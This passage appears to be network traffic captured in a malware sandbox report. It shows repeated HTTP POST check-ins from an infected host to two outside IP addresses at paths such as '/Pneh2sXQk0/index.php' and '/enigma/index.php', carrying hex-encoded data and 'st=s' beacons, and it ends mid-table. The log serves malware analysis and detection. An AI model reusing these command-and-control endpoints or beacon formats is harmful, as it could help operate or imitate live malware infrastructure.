Apr 19, 2024 03:36:05.314809084 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:05.571484089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.5	51185	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:05.439419985 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:05.692621946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.5	51186	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:05.910593033 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:06.157146931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.5	51187	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:06.038501024 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:06.285661936 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.5	51188	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:06.411046028 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:06.666073084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.5	51189	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:06.539952993 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:06.795605898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.5	51190	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:07.005722046 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:07.249983072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.5	51191	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:07.149180889 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:07.396560907 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.5	51192	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:07.502878904 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:07.757133961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.5	51193	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:07.646423101 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:07.896151066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.5	51194	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:08.102880001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:08.349529982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.5	51195	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:08.238775015 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:08.479494095 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.5	51196	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:08.596739054 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:08.851206064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.5	51197	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:08.724225998 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:08.970350981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.5	51198	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:09.177392006 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:09.421797037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.5	51199	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:09.326678038 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:09.575186968 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.5	51200	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:09.677414894 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:09.935048103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.5	51201	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:09.824156046 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:10.071249962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.5	51202	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:10.273195982 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:10.520473957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.5	51203	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:10.406373978 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:10.646325111 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.5	51204	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:10.774246931 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:11.027766943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.5	51205	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:10.895679951 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:11.145231009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.5	51206	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:11.363374949 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:11.611327887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.5	51207	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:11.499037981 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:11.747673988 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.5	51208	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
